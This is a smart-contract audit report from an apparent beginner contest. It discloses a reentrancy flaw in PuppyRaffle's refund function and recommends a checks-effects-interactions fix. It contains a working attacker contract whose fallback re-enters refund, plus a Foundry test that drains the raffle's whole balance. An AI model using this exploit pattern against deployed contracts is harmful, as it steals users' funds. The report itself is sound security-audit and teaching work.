First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`PuppyRaffle::refund` Can Be ReEntered to Drain The Contract Balance

pacelli

Summary

refund does not follow the recomended Check-Effect-Interaction pattern to protect functions against reentrancy attacks.

Vulnerability Details

A hacker can create an attacker smart contract, with a malicious fallback function, to re-renter refund as many times as necessary to drain the balance of the raffle. This attack is possible because the players array is updated after transferring the funds and not before.

This is the detailed sequence of the attack:

  1. Hacker deploys an attacker contract

  2. Hacker execute stealFunds function to enter the raffle with the contract as a player and immediately calls refund

  3. refund sends back the funds to the attacker, by making an external call, PuppyRaffle cedes control of the transaction to the attacker

  4. refund cannot update the players array because the fallback in the attacker has not finished its execution

  5. The balance in the raffle is still greater than zero, so it will trigger a new call to refund until the balance is reduced to zero

  6. Balance goes to zero, the fallback finishes its executio and now refund can update the players array

Proof of Concept

Let's perform an attack to validate the explanation from above.

Create a Reentrant.sol file and paste in it the following contract:

Reentrant.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
interface IPuppyRaffle {
function enterRaffle(address[] memory newPlayers) external payable;
function refund(uint256 playerInder) external;
function getActivePlayerIndex(address player) external view returns (uint256);
}
​
contract Reentrant {
IPuppyRaffle private immutable target;
​
constructor(address _target) {
target = IPuppyRaffle(_target);
}
​
fallback() external payable {
if(address(target).balance > 0) {
uint256 playerIndex = target.getActivePlayerIndex(address(this));
target.refund(playerIndex);
}
}
​
function stealFunds() external payable {
address[] memory newPlayers = new address[](1);
newPlayers[0] = address(this);
target.enterRaffle{value: msg.value}(newPlayers);
uint256 playerIndex = target.getActivePlayerIndex(address(this));
target.refund(playerIndex);
}
​
function balance() external view returns (uint256) {
return address(this).balance;
}
}

Import Reentrant and then paste the following test in PuppyRaffleTest.t.sol:

testDrainRaffle
function testDrainRaffle() public playersEntered {
address hacker = address(42);
​
// deal ether to the hacker to pay the entrance fee
vm.deal(hacker, entranceFee);
​
vm.startPrank(hacker, hacker);
// deploy reentrant contract
Reentrant attacker = new Reentrant(address(puppyRaffle));
// attack raffle
attacker.stealFunds{value: entranceFee}();
​
// assert balances after the attack
assertEq(attacker.balance(), 5 ether);
assertEq(address(puppyRaffle).balance, 0);
}

Impact

Contract drained resulting in complete lost of funds.

Tools Used

VS Code and Foundry.

Recommendations

Update the players array before transferring the funds. This minimal change will protect the function against reentrancy attack and inherit ReentrancyGuard.sol from OpenZeppelin to implement the nonReentrant modifier on all external functions that handle transfer of Ether or make external calls.

diff --git a/src/PuppyRaffle.orig.sol b/src/PuppyRaffle.sol
index dc4bd1d..f0e95e5 100644
--- a/src/PuppyRaffle.orig.sol
+++ b/src/PuppyRaffle.sol
@@ -101,9 +101,11 @@ contract PuppyRaffle is ERC721, Ownable {
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ // update array before transferring the funds
+ players[playerIndex] = address(0);
+
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!